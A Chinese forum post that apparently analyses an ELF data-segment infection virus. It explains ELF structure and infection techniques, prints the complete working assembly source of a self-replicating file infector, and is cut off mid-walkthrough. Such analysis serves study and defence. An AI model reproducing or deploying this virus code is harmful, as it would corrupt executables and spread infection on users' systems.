-
-
[原创]ELF数据段注入virus分析
-
发表于: 2024-9-30 18:50 1296
-
什么是ELF文件病毒?
- ELF 文件病毒是一种专门针对 ELF(Executable and Linkable Format)格式可执行文件的恶意软件。ELF 文件是 Unix 和 Linux 系统中常见的可执行文件格式,这种病毒通过在目标 ELF 文件中插入自身代码来进行传播和感染。当用户执行被感染的文件时,病毒的代码也会被执行,从而可能导致数据损坏、系统崩溃或被恶意控制。
原理:
Unix/Linux病毒通常具备三项主要功能:宿主文件寄生、系统内核感染和网络升级。首先,病毒必须通过某种方式附着于宿主文件,这意味着需要修改宿主程序,将病毒代码插入其中。当宿主程序运行时,病毒代码和宿主代码会一起映射到进程空间中,病毒优先执行,随后将控制权返回给宿主。其次,病毒具有传染性,被感染的宿主程序可以进一步感染其他文件,从而加速病毒在本地目录中的传播。最后,病毒通过可加载的内核模块(LKM)重新加载系统调用,使其更容易被多次触发。同时,病毒还能够修改系统参数,隐藏自身,隐蔽性极强。除此之外,病毒还支持通过网络进行升级。
ELF 文件病毒通常具有这些特点:
- 自我复制:能感染其他 ELF 文件以扩散。
- 隐蔽性:可能隐藏在系统进程或文件中,难以被发现。
- 功能多样:有些病毒可以执行额外的恶意操作,如窃取数据、创建后门等。
ELF文件格式有哪些内容?
ELF(Executable and Linkable Format)文件的结构主要分为几个部分,具体如下:
- ELF头(ELF Header):
- 描述整个文件的信息,包括文件类型(可执行文件、共享对象等)、目标架构、入口点地址、程序头表和节头表的偏移量等。
ELF Header
#define EI_NIDENT 16 typedef struct { unsigned char e_ident[EI_NIDENT]; ELF32_Half e_type; ELF32_Half e_machine; ELF32_Word e_version; ELF32_Addr e_entry; ELF32_Off e_phoff; ELF32_Off e_shoff; ELF32_Word e_flags; ELF32_Half e_ehsize; ELF32_Half e_phentsize; ELF32_Half e_phnum; ELF32_Half e_shentsize; ELF32_Half e_shnum; ELF32_Half e_shstrndx; } Elf32_Ehdr;
- 程序头表(Program Header Table):
- 包含关于程序运行时所需的段的信息。每个条目描述一个段,包括段类型、段的偏移、虚拟地址、物理地址、文件大小、内存大小、权限等。
Program Header Table
typedef struct { ELF32_Word p_type; ELF32_Off p_offset; ELF32_Addr p_vaddr; ELF32_Addr p_paddr; ELF32_Word p_filesz; ELF32_Word p_memsz; ELF32_Word p_flags; ELF32_Word p_align; } Elf32_Phdr;
- 节头表(Section Header Table):
- 包含关于各个节的信息。每个节可以包含代码、数据、符号表、重定位信息等。节头表的每个条目描述一个节,包括节名、类型、地址、偏移、大小、标志等。
Section Header Table
typedef struct { ELF32_Word sh_name; ELF32_Word sh_type; ELF32_Word sh_flags; ELF32_Addr sh_addr; ELF32_Off sh_offset; ELF32_Word sh_size; ELF32_Word sh_link; ELF32_Word sh_info; ELF32_Word sh_addralign; ELF32_Word sh_entsize; } Elf32_Shdr;
- 数据段(Data Segment):
- 包含程序的实际代码和数据。这部分数据在程序加载时被加载到内存中。
- 符号表(Symbol Table):
- 存储程序中所有符号的信息(如函数和变量)。符号表在链接和调试时非常重要。
- 字符串表(String Table):
- 存储与符号表相关的字符串,通常包括函数名和变量名。
- 重定位信息(Relocation Information):
- 包含需要在链接时进行修正的地址信息,帮助在程序被加载到内存后调整代码和数据的地址。
- 节内容(Section Contents):
- 各个节中的实际数据内容,例如代码段的机器指令、数据段的全局变量等。
ELF (Executable and Linkable Format)文件,是在 Linux 中的目标文件,目标文件既会参与程序链接又会参与程序执行,对于不同的情况,目标文件格式提供了其内容的两种并行视图,如下:
其他内容的数据结构及作用可以去自行查询资料,这里就不赘述了
以下是早期的一些著名的 ELF 文件病毒:
- Linux.Biolog:一种早期的 Linux ELF 病毒,通过 infecting ELF 可执行文件进行传播。
- Elf.Suckit:此病毒能在 Linux 系统中隐藏自己,并感染多个进程。
- Elf.Linux.Cobblestone:一种复杂的 ELF 病毒,能够进行自我复制和传播。
- Elf.Shellbot:这是一种通过网络传播的 ELF 病毒,常用于恶意行为。
- Storm Worm:尽管以 Windows 为主,但它也有 Linux 版本,能够感染 ELF 文件。
从哪里思考ELF病毒的制作
看上面的ELF文件格式,程序段(segment)是由程序头表(program header)描述的单位;程序节(section) 是由节头表(section header)描述的单位。程序节(section)保存着链接器所用信息,包括:程序 指令,数据,符号表,重定位信息,字符表等等。而程序段(segment)主要是从文件(file)如何 映(mapping)到内存的角度来划分的。以上的三个部分决定目标文件如何与其他目标文件连接,载入内存,以及如何执行。因此 病毒体寄生宿主,驻留内存的关键在于修改寄主的ELF 头,程序头表,节头表信息,然后插入自身代码于寄主文件体中。
其中病毒将使用的域为:
[e_ident]: ELF 文件头中的第一个字段,用来标识文件的基本属性。e_ident
长度为 16 字节,它包含了 ELF 文件的魔数、文件格式、架构等关键信息,并提供一个机器无关数据,解释文件内容。
具体的分布:
- [0] 到 [3]: 魔数
0x7F 'E' 'L' 'F'
- [4]: 文件类型 (32 位/64 位)
- [5]: 数据编码方式 (大端/小端)
- [6]: ELF 版本
- [7]: OS/ABI 标识
- [8]: ABI 版本
- [9] 到 [15]: 填充
[e_entry]: ELF 文件头中的一个字段,用来指定程序的入口点地址,也就是操作系统在加载并执行程序时开始执行的第一条指令的地址 。对于不同的系统架构,e_entry
的长度不同:
- ELF32:
e_entry
是一个 32 位地址。 - ELF64:
e_entry
是一个 64 位地址。
如果 ELF 文件被病毒感染,病毒会修改 e_entry
,让它指向病毒代码的入口。病毒执行完自己的代码后,再跳转回原程序的入口点继续执行。这是病毒篡改文件的典型手法。
[e_phoff]:程序头表(program header table)在文件中的偏移量(以字节计数)
- 在加载 ELF 文件时,操作系统会使用
e_phoff
来定位程序头表的位置,从而知道如何加载文件中的各个段(如.text
段、.data
段等)。 - 程序头表包含多个条目,每个条目描述了程序中的一个段如何从文件映射到内存。例如,它会指定
.text
段从文件的某个偏移加载到内存的某个地址。
例如:
- 假设
e_phoff
的值是0x40
,这意味着程序头表从 ELF 文件中的第 64 个字节开始。 - 操作系统会从该偏移位置开始读取程序头表,然后按照表中描述的内容加载各个段到内存中。
[e_shoff]: ELF 文件头中的一个字段,它表示节头表(Section Header Table)在文件中的偏移量。节头表包含了文件中的所有节(Section)的信息,如 .text
、.data
、.bss
等。
e_shoff
指定了节头表在 ELF 文件中的字节偏移量。操作系统或链接器会根据这个偏移量找到节头表,从而了解文件中的各个节(section)的布局和属性。
- 节头表包含了每个节的大小、文件中的位置、内存中的地址以及对齐要求等信息。
- 不同于程序头表(用于加载到内存中的段),节头表主要用于链接和调试阶段,而不用于程序加载。
- 如果 ELF 文件被病毒感染,病毒可能会通过修改节头表来插入恶意代码或隐藏其存在。病毒可能会改变
e_shoff
的值,将节头表的偏移指向恶意节。
病毒的寄生方式 一般来说,病毒寄生四种主要方式:
- 病毒直接覆盖宿主,受感染后的host被破坏,即覆盖可执行文件,破坏原始数据。这种 传染方式将导致下次宿主程序执行失败,病毒很易被发现。如果被破坏的宿主是系统 赖以生存的重要文件,将导致整个系统崩溃。
- 向宿主文件中插入病毒体,不破坏宿主主体,修改程序流程,以便病毒跟随宿主一起 执行。寄生病毒不改变宿主内部对象格式,在自身得到执行后将控制交还给宿主。病 毒体可以通过修改寄主某个段的大小,寄生在寄主的代码段前、数据段后、代码段和 数据段中间的填充区。但这样会改变原有文件的格式,比较容易检测到。
- 病毒合入宿主进程映像中,用病毒替换宿主进程映像,之后恢复,在宿主进程映像首 部或尾部植入病毒代码,覆盖进程映像各段之间的填充区域等等。
- 利用ELF中本身有的填充(padding)字段,将virus植入,不改变原有程序段的大小, 不过这样有明显缺点:填充字段一般小于64byte,只能植入较小的病毒体,如时间炸弹。
对于第二种寄生方式有以下几种:
感染 .text 段的尾部
在实现病毒感染的过程中,我们利用 ELF 文件的特性,特别是在其加载到内存后,尾部通常会被填充为零以形成完整的内存页面。由于内存页面的大小限制,32位系统上最多可以容纳一个4 KB 的病毒,而在64位系统上则可以容纳多达2 MB 的病毒。尽管这个大小看起来有限,但对于用 C 或汇编语言编写的小型病毒而言,已经足够。
实现这一目标的具体方法如下:
- 修改入口点:在 ELF 头中调整入口点的指向,使其指向 .text 段的尾部。这一步确保了病毒代码在感染后能够被正确执行。
- 调整节表:在 ELF 头的节表中增加相应节的页面长度,从而为病毒代码腾出空间。
- 扩展段的长度:扩大 .text 段的文件长度和内存长度,以确保可以容纳病毒代码的大小。
- 遍历程序头:对每个被感染的程序头进行遍历,根据页面长度调整相应的偏移,以便正确定位新添加的病毒代码。
- 修改节头:找到 .text 段的最后一个节头,并在其节头中增加长度,确保新插入的代码被正确记录。
- 插入病毒代码:在 .text 段的尾部插入病毒代码,以实现自我复制的功能。
- 跳转执行:在插入病毒代码后,确保能够跳转回原始宿主的入口点,继续执行宿主代码,这样可以在不被察觉的情况下完成感染。
反向感染 .text 段
反向感染的过程允许我们在不改变宿主代码虚拟地址的情况下,感染 .text 段的前面部分。这个过程的核心在于反向扩展 .text 段的起始部分,以便为病毒提供更多的感染空间。
现代 Linux 系统允许的最小虚拟映射地址为 0x1000,这为反向扩展设置了限制。在64位系统中,.text 段的默认虚拟地址通常是 0x400000,这样可以为病毒提供减去 ELF 头长度后的约 0x3ff000 的空间。而在32位系统中,.text 段的默认虚拟地址通常为 0x08048000,这为病毒提供了更大的自由度。
实现反向感染的方法包括:
- 调整节表偏移:在 ELF 头的节表中,增加偏移以适应病毒长度,确保正确对齐。
- 修改虚拟地址:在 .text 段的程序头中,依据病毒长度减少虚拟地址,以便为病毒代码腾出空间。
- 扩展文件和内存长度:在 .text 段的程序头中,根据病毒长度增加文件长度和内存长度,确保病毒能够顺利嵌入。
- 调整程序头偏移:根据病毒的长度,遍历每个程序头的偏移,增加到超出 .text 段的长度,以正确反映新的布局。
- 修改入口点:在 ELF 头中调整入口点,使其指向原始的 .text 段虚拟地址减去病毒长度,以确保程序能够顺利运行。
- 插入病毒实体:将病毒代码插入到 .text 段的起始位置,确保其在执行时能够被调用。
数据段感染
数据段感染是病毒传播的一种策略,目标是将病毒代码附加到数据段(.data 段),并位于 .bss 段之前。这种方法的优势在于数据部分的限制较少,病毒代码可以扩展得更大,且不容易被发现。
数据内存段具有 R + W(读和写)的权限,而 .text 内存段则是 R + X(读和执行)。在一些没有启用 NX 位的系统(例如32位 Linux)中,执行数据段中的代码并不需要更改权限设置。然而,在其他系统中,病毒必须在其驻留的内存段属性中添加可执行标志,以确保能够正常执行。
实现数据段感染的步骤包括:
- 增加节头偏移:在 ELF 头中,根据病毒长度增加节头的偏移,以确保为病毒提供足够空间。
- 修改入口点:调整 ELF 头中的入口点,使其指向数据段的尾部(虚拟地址 + 文件长度),确保在执行时能够正确跳转。
- 扩展页面和内存长度:在数据段的程序头中,根据病毒长度增加页面和内存的长度,以适应新增的代码。
- 调整 .bss 段偏移:根据病毒的长度调整 .bss 段的偏移(在节头中),确保内存布局正确。
- 设置可执行权限:如果系统需要,设置数据段的可执行权限位,确保能够执行病毒代码。
- 插入病毒实体:将病毒代码插入到数据段的尾部,以便在感染后能够被顺利调用。
- 跳转到宿主入口点:最后,插入必要的跳转代码,以便能够顺利返回到原始宿主的入口点执行。
下面就数据段感染剖析一个ELF病毒源码案例:
源码来源:
源码如下:
section .text global v_start v_start: ; virus body start ; make space in the stack for some uninitialized variables to avoid a .bss section mov ecx, 2328 ; set counter to 2328 (x4 = 9312 bytes). filename (esp), buffer (esp+32), targets (esp+1056), targetfile (esp+2080) loop_bss: push 0x00 ; reserve 4 bytes (double word) of 0's sub ecx, 1 ; decrement our counter by 1 cmp ecx, 0 jbe loop_bss mov edi, esp ; esp has our fake .bss offset. Let's store it in edi for now. call folder db ".", 0 folder: pop ebx ; name of the folder mov esi, 0 ; reset offset for targets mov eax, 5 ; sys_open mov ecx, 0 mov edx, 0 int 80h cmp eax, 0 ; check if fd in eax > 0 (ok) jbe v_stop ; cannot open file. Exit virus mov ebx, eax mov eax, 0xdc ; sys_getdents64 mov ecx, edi ; fake .bss section add ecx, 32 ; offset for buffer mov edx, 1024 int 80h mov eax, 6 ; close int 80h xor ebx, ebx ; zero out ebx as we will use it as the buffer offset find_filename_start: ; look for the sequence 0008 which occurs before the start of a filename inc ebx cmp ebx, 1024 jge infect cmp byte [edi+32+ebx], 0x00 ; edi+32 is buffer jnz find_filename_start inc ebx cmp byte [edi+32+ebx], 0x08 ; edi+32 is buffer jnz find_filename_start xor ecx, ecx ; clear out ecx which will be our offset for file mov byte [edi+ecx], 0x2e ; prepend file with ./ for full path (.) edi is filename inc ecx mov byte [edi+ecx], 0x2f ; prepend file with ./ for full path (/) edi is filename inc ecx find_filename_end: ; look for the 00 which denotes the end of a filename inc ebx cmp ebx, 1024 jge infect push esi ; save our target offset mov esi, edi ; fake .bss add esi, 32 ; offset for buffer add esi, ebx ; set source push edi ; save our fake .bss add edi, ecx ; set destination to filename movsb ; moved byte from buffer to filename pop edi ; restore our fake .bss pop esi ; restore our target offset inc ecx ; increment offset stored in ecx cmp byte [edi+32+ebx], 0x00 ; denotes end of the filename jnz find_filename_end mov byte [edi+ecx], 0x00 ; we have a filename. Add a 0x00 to the end of the file buffer push ebx ; save our offset in buffer call scan_file pop ebx ; restore our offset in buffer jmp find_filename_start ; find next file scan_file: ; check the file for infectability mov eax, 5 ; sys_open mov ebx, edi ; path (offset to filename) mov ecx, 0 ; O_RDONLY int 80h cmp eax, 0 ; check if fd in eax > 0 (ok) jbe return ; cannot open file. Return mov ebx, eax ; fd mov eax, 3 ; sys_read mov ecx, edi ; address struct add ecx, 2080 ; offset to targetfile in fake .bss mov edx, 12 ; all we need are 4 bytes to check for the ELF header but 12 bytes to find signature int 80h call elfheader dd 0x464c457f ; 0x7f454c46 -> .ELF (but reversed for endianness) elfheader: pop ecx mov ecx, dword [ecx] cmp dword [edi+2080], ecx ; this 4 byte header indicates ELF! (dword). edi+2080 is offset to targetfile in fake .bss jnz close_file ; not an executable ELF binary. Return ; check if infected mov ecx, 0x001edd0e ; 0x0edd1e00 signature reversed for endianness cmp dword [edi+2080+8], ecx ; signature should show up after the 8th byte. edi+2080 is offset to targetfile in fake .bss jz close_file ; signature exists. Already infected. Close file. save_target: ; good target! save filename push esi ; save our targets offset push edi ; save our fake .bss mov ecx, edi ; temporarily place filename offset in ecx add edi, 1056 ; offset to targets in fake .bss add edi, esi mov esi, ecx ; filename -> edi -> ecx -> esi mov ecx, 32 rep movsb ; save another target filename in targets pop edi ; restore our fake .bss pop esi ; restore our targets offset add esi, 32 close_file: mov eax, 6 int 80h return: ret infect: ; let's infect these targets! cmp esi, 0 jbe v_stop ; there are no targets :( exit sub esi, 32 mov eax, 5 ; sys_open mov ebx, edi ; path add ebx, 1056 ; offset to targets in fake .bss add ebx, esi ; offset of next filename mov ecx, 2 ; O_RDWR int 80h mov ebx, eax ; fd mov ecx, edi add ecx, 2080 ; offset to targetfile in fake .bss reading_loop: mov eax, 3 ; sys_read mov edx, 1 ; read 1 byte at a time (yeah, I know this can be optimized) int 80h cmp eax, 0 ; if this is 0, we've hit EOF je reading_eof mov eax, edi add eax, 9312 ; 2080 + 7232 cmp ecx, eax ; if the file is over 7232 bytes, let's quit jge infect add ecx, 1 jmp reading_loop reading_eof: push ecx ; store address of last byte read. We'll need this later mov eax, 6 ; close file int 80h xor ecx, ecx xor eax, eax mov cx, word [edi+2080+44] ; ehdr->phnum (number of program header entries) mov eax, dword [edi+2080+28] ; ehdr->phoff (program header offset) sub ax, word [edi+2080+42] ; subtract 32 (size of program header entry) to initialize loop program_header_loop: ; loop through program headers and find the data segment (PT_LOAD, offset>0) ;0 p_type type of segment ;+4 p_offset offset in file where to start the segment at ;+8 p_vaddr his virtual address in memory ;+c p_addr physical address (if relevant, else equ to p_vaddr) ;+10 p_filesz size of datas read from offset ;+14 p_memsz size of the segment in memory ;+18 p_flags segment flags (rwx perms) ;+1c p_align alignement add ax, word [edi+2080+42] cmp ecx, 0 jbe infect ; couldn't find data segment. let's close and look for next target sub ecx, 1 ; decrement our counter by 1 mov ebx, dword [edi+2080+eax] ; phdr->type (type of segment) cmp ebx, 0x01 ; 0: PT_NULL, 1: PT_LOAD, ... jne program_header_loop ; it's not PT_LOAD. look for next program header mov ebx, dword [edi+2080+eax+4] ; phdr->offset (offset of program header) cmp ebx, 0x00 ; if it's 0, it's the text segment. Otherwise, we found the data segment je program_header_loop ; it's the text segment. We're interested in the data segment mov ebx, dword [edi+2080+24] ; old entry point push ebx ; save the old entry point mov ebx, dword [edi+2080+eax+4] ; phdr->offset (offset of program header) mov edx, dword [edi+2080+eax+16] ; phdr->filesz (size of segment on disk) add ebx, edx ; offset of where our virus should reside = phdr[data]->offset + p[data]->filesz push ebx ; save the offset of our virus mov ebx, dword [edi+2080+eax+8] ; phdr->vaddr (virtual address in memory) add ebx, edx ; new entry point = phdr[data]->vaddr + p[data]->filesz mov ecx, 0x001edd0e ; insert our signature at byte 8 (unused section of the ELF header) mov [edi+2080+8], ecx mov [edi+2080+24], ebx ; overwrite the old entry point with the virus (in buffer) add edx, v_stop - v_start ; add size of our virus to phdr->filesz add edx, 7 ; for the jmp to original entry point mov [edi+2080+eax+16], edx ; overwrite the old phdr->filesz with the new one (in buffer) mov ebx, dword [edi+2080+eax+20] ; phdr->memsz (size of segment in memory) add ebx, v_stop - v_start ; add size of our virus to phdr->memsz add ebx, 7 ; for the jmp to original entry point mov [edi+2080+eax+20], ebx ; overwrite the old phdr->memsz with the new one (in buffer) xor ecx, ecx xor eax, eax mov cx, word [edi+2080+48] ; ehdr->shnum (number of section header entries) mov eax, dword [edi+2080+32] ; ehdr->shoff (section header offset) sub ax, word [edi+2080+46] ; subtract 40 (size of section header entry) to initialize loop section_header_loop: ; loop through section headers and find the .bss section (NOBITS) ;0 sh_name contains a pointer to the name string section giving the ;+4 sh_type give the section type [name of this section ;+8 sh_flags some other flags ... ;+c sh_addr virtual addr of the section while running ;+10 sh_offset offset of the section in the file ;+14 sh_size zara white phone numba ;+18 sh_link his use depends on the section type ;+1c sh_info depends on the section type ;+20 sh_addralign alignement ;+24 sh_entsize used when section contains fixed size entrys add ax, word [edi+2080+46] cmp ecx, 0 jbe finish_infection ; couldn't find .bss section. Nothing to worry about. Finish the infection sub ecx, 1 ; decrement our counter by 1 mov ebx, dword [edi+2080+eax+4] ; shdr->type (type of section) cmp ebx, 0x00000008 ; 0x08 is NOBITS which is an indicator of a .bss section jne section_header_loop ; it's not the .bss section mov ebx, dword [edi+2080+eax+12] ; shdr->addr (virtual address in memory) add ebx, v_stop - v_start ; add size of our virus to shdr->addr add ebx, 7 ; for the jmp to original entry point mov [edi+2080+eax+12], ebx ; overwrite the old shdr->addr with the new one (in buffer) section_header_loop_2: mov edx, dword [edi+2080+eax+16] ; shdr->offset (offset of section) add edx, v_stop - v_start ; add size of our virus to shdr->offset add edx, 7 ; for the jmp to original entry point mov [edi+2080+eax+16], edx ; overwrite the old shdr->offset with the new one (in buffer) add eax, 40 sub ecx, 1 cmp ecx, 0 jg section_header_loop_2 ; this loop isn't necessary to make the virus function, but inspecting the host file with a readelf -a shows a clobbered symbol table and section/segment mapping finish_infection: ;dword [edi+2080+24] ; ehdr->entry (virtual address of entry point) ;dword [edi+2080+28] ; ehdr->phoff (program header offset) ;dword [edi+2080+32] ; ehdr->shoff (section header offset) ;word [edi+2080+40] ; ehdr->ehsize (size of elf header) ;word [edi+2080+42] ; ehdr->phentsize (size of one program header entry) ;word [edi+2080+44] ; ehdr->phnum (number of program header entries) ;word [edi+2080+46] ; ehdr->shentsize (size of one section header entry) ;word [edi+2080+48] ; ehdr->shnum (number of program header entries) mov eax, v_stop - v_start ; size of our virus minus the jump to original entry point add eax, 7 ; for the jmp to original entry point mov ebx, dword [edi+2080+32] ; the original section header offset add eax, ebx ; add the original section header offset mov [edi+2080+32], eax ; overwrite the old section header offset with the new one (in buffer) mov eax, 5 ; sys_open mov ebx, edi ; path add ebx, 1056 ; offset to targets in fake .bss add ebx, esi ; offset of next filename mov ecx, 2 ; O_RDWR int 80h mov ebx, eax ; fd mov eax, 4 ; sys_write mov ecx, edi add ecx, 2080 ; offset to targetfile in fake .bss pop edx ; host file up to the offset where the virus resides int 80h mov [edi+7], edx ; place the offset of the virus in this unused section of the filename buffer call delta_offset delta_offset: pop ebp ; we need to calculate our delta offset because the absolute address of v_start will differ in different host files. This will be 0 in our original virus sub ebp, delta_offset mov eax, 4 lea ecx, [ebp + v_start] ; attach the virus portion (calculated with the delta offset) mov edx, v_stop - v_start ; size of virus bytes int 80h pop edx ; original entry point of host (we'll store this double word in the same location we used for the 32 byte filename) mov [edi], byte 0xb8 ; op code for MOV EAX (1 byte) mov [edi+1], edx ; original entry point (4 bytes) mov [edi+5], word 0xe0ff ; op code for JMP EAX (2 bytes) mov eax, 4 mov ecx, edi ; offset to filename in fake .bss mov edx, 7 ; 7 bytes for the final jmp to the original entry point int 80h mov eax, 4 ; sys_write mov ecx, edi add ecx, 2080 ; offset to targetfile in fake .bss mov edx, dword [edi+7] ; offset of the virus add ecx, edx ; let's continue where we left off pop edx ; offset of last byte in targetfile in fake.bss sub edx, ecx ; length of bytes to write int 80h mov eax, 36 ; sys_sync int 80h mov eax, 6 ; close file int 80h jmp infect v_stop: ; virus body stop (host program start) mov eax, 1 ; sys_exit mov ebx, 0 ; normal status int 80h
分析:
初始化.bss段:
mov ecx, 2328 ; 分配2328个双字空间 loop_bss: push 0x00 ; 将0入栈,创建伪.bss段 sub ecx, 1 ; ecx减1 cmp ecx, 0 jbe loop_bss ; 如果ecx <= 0,退出循环 mov edi, esp ; 保存栈顶指针到edi,作为伪.bss段的起始地址
这里通过循环将0压入栈中,形成一个虚拟的 .bss 段,重复2328次,以分配足够的内存空间,因为.bss在初始化的时候就是填充0。循环结束时,edi 指向这个虚拟 .bss 段的起始位置。
获取当前文件夹路径 :
call folder db ".", 0 ; 存储当前目录路径
代码通过 call folder
调用一个函数并存储当前目录(.
)。这里 db ".", 0
是定义当前目录的路径(.
代表当前目录,字符串以0结尾)。
返回并获取文件夹路径名 :
folder: pop ebx ; 将返回地址弹出,并存储到ebx中,这里是文件夹路径名
在调用 folder
时,函数会将返回地址压栈,pop ebx
会将它弹出并存储到 ebx
,此时 ebx
中包含了文件夹路径(即.
)。
打开文件夹 :
mov eax, 5 ; 设置eax为5(表示系统调用sys_open) mov ecx, 0 mov edx, 0 int 80h ; 调用系统中断
sys_open
用于打开文件夹。这里的文件夹路径是 ebx
(当前目录),通过中断 int 0x80
(软中断) 进行系统调用。执行后,文件描述符存储在 eax
中。
检查文件描述符
cmp eax, 0 ; 检查eax中返回的文件描述符是否大于0 jbe v_stop ; 如果文件描述符小于等于0,跳转到v_stop,表示打开失败
如果文件描述符小于等于0,表示文件夹打开失败,跳转到 v_stop
终止程序。
读取文件夹内容:
mov ebx, eax ; 将文件描述符保存到ebx mov eax, 0xdc ; 设置eax为0xdc(sys_getdents64系统调用号) mov ecx, edi ; ecx指向伪.bss段的起始地址 add ecx, 32 ; 偏移32字节,预留空间用于存储读取到的内容 mov edx, 1024 ; 读取1024字节的目录内容 int 80h ; 调用系统中断
使用 sys_getdents64
系统调用读取目录项。将读取的数据存储到伪 .bss
段中。此时 edi
指向的地址是伪 .bss
段,而 ecx
用作缓冲区的起始地址,偏移32字节用于存储结果。
关闭文件描述符:
mov eax, 6 ; 设置eax为6(sys_close系统调用) int 80h ; 调用系统中断,关闭文件描述符
重置偏移并准备处理读取到的数据:
xor ebx, ebx ; 清空ebx,作为缓冲区偏移量
重置 ebx
为0,将它用作处理读取到的目录项数据时的偏移量。
寻找文件名起始点:
find_filename_start: inc ebx cmp ebx, 1024 jge infect
- 增加
ebx
的值,用于追踪当前字节的位置。 - 检查
ebx
是否大于或等于1024,如果是,跳转到infect
。
检查当前字节:
cmp byte [edi+32+ebx], 0x00 ; edi+32 是缓冲区 jnz find_filename_start
- 比较缓冲区(
edi + 32
)中当前字节是否为0。如果不是0,继续寻找下一个字节。
增加 ebx
并寻找特定序列:
inc ebx cmp byte [edi+32+ebx], 0x08 ; edi+32 是缓冲区 jnz find_filename_start
- 再次增加
ebx
,检查下一个字节是否为0x08(即0008的起始字节)。如果不是,则回到查找起始点。
清零并准备文件名:
xor ecx, ecx ; 清空 ecx,作为文件的偏移量 mov byte [edi+ecx], 0x2e ; 在文件名前添加 ./ 的第一个字节 (.) inc ecx mov byte [edi+ecx], 0x2f ; 在文件名前添加 ./ 的第二个字节 (/) inc ecx
- 清空
ecx
,它将用作文件名的偏移量。 - 在找到的文件名之前插入
./
,这为文件路径提供了完整性。
寻找文件名结束标记:
find_filename_end: inc ebx cmp ebx, 1024 jge infect
- 增加
ebx
的值,跟踪当前字节的位置。 - 检查
ebx
是否大于或等于1024,如果是,跳转到infect
。
保存和设置偏移量:
push esi ; 保存目标偏移量 mov esi, edi ; 伪.bss地址 add esi, 32 ; 缓冲区偏移量 add esi, ebx ; 设置源地址 push edi ; 保存伪.bss地址 add edi, ecx ; 设置目标为文件名 movsb ; 从缓冲区移动一个字节到文件名
- 保存
esi
的值以备后用,并设置它指向缓冲区。 - 将
edi
的值增加到当前文件名的目标位置,并通过movsb
将字节从源缓冲区复制到文件名。
恢复偏移量并增加:
pop edi ; 恢复伪.bss地址 pop esi ; 恢复目标偏移量 inc ecx ; 增加存储在 ecx 中的偏移量
- 恢复之前保存的
edi
和esi
,并增加ecx
,准备写入下一个字节。
检查文件名结束标记:
cmp byte [edi+32+ebx], 0x00 ; 检查文件名结束标记 jnz find_filename_end
- 比较缓冲区中的当前字节是否为0。如果不是,继续寻找下一个字节。
添加字符串结束标记:
mov byte [edi+ecx], 0x00 ; 文件名结束,添加0x00到文件缓冲区
- 在找到的文件名末尾添加0x00,标记字符串结束。
调用文件扫描函数:
push ebx ; 保存缓冲区偏移量 call scan_file ; 调用文件扫描函数 pop ebx ; 恢复缓冲区偏移量
- 保存当前偏移量,调用
scan_file
函数处理文件,之后恢复偏移量。
查找下一个文件:
jmp find_filename_start ; 查找下一个文件
- 跳回
find_filename_start
,开始寻找下一个文件名。
打开文件:
scan_file: mov eax, 5 ; sys_open mov ebx, edi ; 文件路径(文件名的偏移量) mov ecx, 0 ; 以只读模式打开 int 80h
- 使用系统调用
sys_open
打开文件,eax
设置为5表示打开文件,ebx
存储文件名的地址,ecx
设置为0表示只读模式。
检查文件描述符:
cmp eax, 0 ; 检查返回的文件描述符是否大于0 jbe return ; 如果小于或等于0,跳转到返回
- 检查
eax
中的文件描述符。如果小于或等于0,表示无法打开文件,跳转到return
结束处理。
读取文件内容:
mov ebx, eax ; 保存文件描述符 mov eax, 3 ; sys_read mov ecx, edi ; 结构体地址 add ecx, 2080 ; 偏移到伪.bss 中目标文件的位置 mov edx, 12 ; 读取12字节 int 80h
- 使用
sys_read
读取文件内容,eax
设置为3表示读取操作,ebx
为文件描述符,ecx
指向目标位置的偏移量,edx
设置为12字节以读取必要的数据。
调用 ELF 头检查函数:
call elfheader dd 0x464c457f ; 0x7f454c46 -> .ELF(反向字节序)
- 调用
elfheader
函数来检查读取的内容是否为有效的 ELF 文件。使用dd
指令定义期望的 ELF 文件头签名(0x7f454c46),以小端格式存储。
检查 ELF 文件头:
elfheader: pop ecx mov ecx, dword [ecx] cmp dword [edi+2080], ecx ; 检查 ELF 文件头 jnz close_file ; 如果不是 ELF 文件,跳转到 close_file
- 从栈中弹出
ecx
,然后将其内容移动到ecx
中。 - 检查伪 .bss 中
edi+2080
偏移处的4字节是否与 ELF 文件头(在ecx
中)相匹配。 - 如果不匹配,跳转到
close_file
处理,表示文件不是有效的 ELF 文件。
检查文件是否已被感染:
mov ecx, 0x001edd0e ; 感染签名,反向字节序 cmp dword [edi+2080+8], ecx ; 检查感染签名是否存在 jz close_file ; 如果存在,文件已感染,关闭文件
- 将预定义的感染签名(0x0edd1e00)加载到
ecx
中,并检查它是否在文件的偏移位置edi+2080+8
处存在。 - 如果签名存在,跳转到
close_file
,表示该文件已经被感染。
保存有效目标文件名:
save_target: push esi ; 保存目标偏移 push edi ; 保存伪 .bss mov ecx, edi ; 临时将文件名偏移放入 ecx add edi, 1056 ; 偏移到伪 .bss 中存储目标的地方 add edi, esi mov esi, ecx ; 处理文件名的偏移 mov ecx, 32 rep movsb ; 保存目标文件名 pop edi ; 恢复伪 .bss pop esi ; 恢复目标偏移 add esi, 32
- 保存当前的
esi
和edi
值,以便恢复。 - 将文件名的偏移量移动到
ecx
中,准备存储目标文件名。 edi
偏移到伪 .bss 中预留的存储目标文件名的空间。- 使用
rep movsb
指令将文件名从原始位置复制到伪 .bss 中。 - 恢复之前保存的
edi
和esi
值,并更新esi
以指向下一个目标位置。
关闭文件:
close_file: mov eax, 6 int 80h
- 使用系统调用
sys_close
(调用号 6)关闭当前打开的文件。
2. 返回:
return: ret
- 这条指令用于从当前函数返回。
感染目标文件:
infect: cmp esi, 0 jbe v_stop ; 如果没有目标,跳转到 v_stop
- 首先检查目标计数(在
esi
中)是否为零。如果是,跳转到v_stop
结束处理。
获取目标文件名:
sub esi, 32 mov eax, 5 ; sys_open mov ebx, edi ; 路径(文件名) add ebx, 1056 ; 偏移到伪 .bss 中的目标 add ebx, esi ; 下一目标文件名的偏移 mov ecx, 2 ; O_RDWR(读写模式) int 80h
- 减去 32,以获取下一个目标文件名的偏移量。
- 使用
sys_open
打开目标文件,设置为读写模式。文件名在伪 .bss 的适当位置。
读取文件内容:
mov ebx, eax ; 保存文件描述符 mov ecx, edi add ecx, 2080 ; 偏移到目标文件内容
- 将打开的文件描述符存储在
ebx
中,并准备读取文件内容。
循环读取文件:
